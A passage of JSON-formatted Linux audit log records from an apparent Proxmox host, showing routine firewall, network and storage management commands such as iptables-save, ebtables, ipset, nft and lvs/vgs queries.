proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964215739,"@rawstring":"node=pve type=PATH msg=audit(1781964215.739:60081): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964820.764:62775): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964215739,"@rawstring":"node=pve type=PATH msg=audit(1781964215.739:60081): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964820.764:62774): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964215733,"@rawstring":"node=pve type=PATH msg=audit(1781964215.733:60079): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964820.764:62773): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964215733,"@rawstring":"node=pve type=PATH msg=audit(1781964215.733:60079): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964819.952:62772): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964215728,"@rawstring":"node=pve type=PATH msg=audit(1781964215.728:60078): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964819.952:62771): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964215728,"@rawstring":"node=pve type=PATH msg=audit(1781964215.728:60078): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964819950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964819.950:62770): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964215722,"@rawstring":"node=pve type=PATH msg=audit(1781964215.722:60077): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.096:62769): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964215722,"@rawstring":"node=pve type=PATH msg=audit(1781964215.722:60077): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.093:62768): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964215716,"@rawstring":"node=pve type=PATH msg=audit(1781964215.716:60076): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.092:62767): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964215716,"@rawstring":"node=pve type=PATH msg=audit(1781964215.716:60076): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.092:62766): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964215712,"@rawstring":"node=pve type=PATH msg=audit(1781964215.712:60075): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816087,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.087:62765): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964215712,"@rawstring":"node=pve type=PATH msg=audit(1781964215.712:60075): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816082,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.082:62764): proctitle=\"ip6tables-save\""} {"@timestamp":1781964215706,"@rawstring":"node=pve type=PATH msg=audit(1781964215.706:60074): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816075,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.075:62763): proctitle=\"iptables-save\""} {"@timestamp":1781964215706,"@rawstring":"node=pve type=PATH msg=audit(1781964215.706:60074): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816069,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.069:62762): proctitle=\"ip6tables-save\""} {"@timestamp":1781964215699,"@rawstring":"node=pve type=PATH msg=audit(1781964215.699:60073): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816061,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.061:62761): proctitle=\"iptables-save\""} {"@timestamp":1781964215699,"@rawstring":"node=pve type=PATH msg=audit(1781964215.699:60073): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.057:62760): proctitle=\"ebtables-restore\""} {"@timestamp":1781964215693,"@rawstring":"node=pve type=PATH msg=audit(1781964215.693:60072): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.054:62759): proctitle=\"ebtables-restore\""} {"@timestamp":1781964215693,"@rawstring":"node=pve type=PATH msg=audit(1781964215.693:60072): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816051,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.051:62758): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964215689,"@rawstring":"node=pve type=PATH msg=audit(1781964215.689:60071): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.045:62757): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964215689,"@rawstring":"node=pve type=PATH msg=audit(1781964215.689:60071): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816039,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.039:62756): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964215685,"@rawstring":"node=pve type=PATH msg=audit(1781964215.685:60070): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.034:62755): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964215685,"@rawstring":"node=pve type=PATH msg=audit(1781964215.685:60070): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.029:62754): proctitle=697073657400726573746F7265"} {"@timestamp":1781964215684,"@rawstring":"node=pve type=PATH msg=audit(1781964215.684:60069): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.023:62753): proctitle=\"ip6tables-save\""} {"@timestamp":1781964215684,"@rawstring":"node=pve type=PATH msg=audit(1781964215.684:60069): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.017:62752): proctitle=\"iptables-save\""} {"@timestamp":1781964215684,"@rawstring":"node=pve type=PATH msg=audit(1781964215.684:60068): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816013,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.013:62751): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964215680,"@rawstring":"node=pve type=PATH msg=audit(1781964215.680:60067): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.010:62750): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964215680,"@rawstring":"node=pve type=PATH msg=audit(1781964215.680:60067): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.010:62749): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964215680,"@rawstring":"node=pve type=PATH msg=audit(1781964215.680:60067): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.010:62748): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964215673,"@rawstring":"node=pve type=PATH msg=audit(1781964215.673:60066): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816006,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964816.006:62747): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964215673,"@rawstring":"node=pve type=PATH msg=audit(1781964215.673:60066): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.999:62746): proctitle=\"ip6tables-save\""} {"@timestamp":1781964215666,"@rawstring":"node=pve type=PATH msg=audit(1781964215.666:60065): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.993:62745): proctitle=\"iptables-save\""} {"@timestamp":1781964215666,"@rawstring":"node=pve type=PATH msg=audit(1781964215.666:60065): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815988,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.988:62744): proctitle=69707365740073617665"} {"@timestamp":1781964215661,"@rawstring":"node=pve type=PATH msg=audit(1781964215.661:60064): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.983:62743): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964215661,"@rawstring":"node=pve type=PATH msg=audit(1781964215.661:60064): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.977:62742): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964215655,"@rawstring":"node=pve type=PATH msg=audit(1781964215.655:60063): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815754,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.754:62741): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964215655,"@rawstring":"node=pve type=PATH msg=audit(1781964215.655:60063): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815754,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.754:62740): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964215648,"@rawstring":"node=pve type=PATH msg=audit(1781964215.648:60062): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815754,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.754:62739): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964215648,"@rawstring":"node=pve type=PATH msg=audit(1781964215.648:60062): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.740:62738): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964214202,"@rawstring":"node=pve type=PATH msg=audit(1781964214.202:60061): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.740:62737): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964214202,"@rawstring":"node=pve type=PATH msg=audit(1781964214.202:60061): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964815.740:62736): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964214165,"@rawstring":"node=pve type=PATH msg=audit(1781964214.165:60060): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964814129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964814.129:62735): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964214165,"@rawstring":"node=pve type=PATH msg=audit(1781964214.165:60060): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964814098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964814.098:62734): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964213335,"@rawstring":"node=pve type=PATH msg=audit(1781964213.335:60059): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964810.734:62733): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964213335,"@rawstring":"node=pve type=PATH msg=audit(1781964213.335:60059): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964810.734:62732): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964213335,"@rawstring":"node=pve type=PATH msg=audit(1781964213.335:60058): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964810.734:62731): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964213335,"@rawstring":"node=pve type=PATH msg=audit(1781964213.335:60057): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964810.718:62730): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964213328,"@rawstring":"node=pve type=PATH msg=audit(1781964213.328:60056): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964810.718:62729): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964213328,"@rawstring":"node=pve type=PATH msg=audit(1781964213.328:60056): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964810.718:62728): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964213328,"@rawstring":"node=pve type=PATH msg=audit(1781964213.328:60055): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805965,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.965:62727): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964213328,"@rawstring":"node=pve type=PATH msg=audit(1781964213.328:60054): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805962,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.962:62726): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964208314,"@rawstring":"node=pve type=PATH msg=audit(1781964208.314:60053): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.961:62725): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964208314,"@rawstring":"node=pve type=PATH msg=audit(1781964208.314:60053): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.961:62724): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964208314,"@rawstring":"node=pve type=PATH msg=audit(1781964208.314:60052): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.957:62723): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964208314,"@rawstring":"node=pve type=PATH msg=audit(1781964208.314:60051): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805951,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.951:62722): proctitle=\"ip6tables-save\""} {"@timestamp":1781964208306,"@rawstring":"node=pve type=PATH msg=audit(1781964208.306:60050): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805945,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.945:62721): proctitle=\"iptables-save\""} {"@timestamp":1781964208306,"@rawstring":"node=pve type=PATH msg=audit(1781964208.306:60050): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.938:62720): proctitle=\"ip6tables-save\""} {"@timestamp":1781964208306,"@rawstring":"node=pve type=PATH msg=audit(1781964208.306:60049): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.932:62719): proctitle=\"iptables-save\""} {"@timestamp":1781964208306,"@rawstring":"node=pve type=PATH msg=audit(1781964208.306:60048): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.929:62718): proctitle=\"ebtables-restore\""} {"@timestamp":1781964205635,"@rawstring":"node=pve type=PATH msg=audit(1781964205.635:60047): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.927:62717): proctitle=\"ebtables-restore\""} {"@timestamp":1781964205635,"@rawstring":"node=pve type=PATH msg=audit(1781964205.635:60047): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805923,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.923:62716): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} 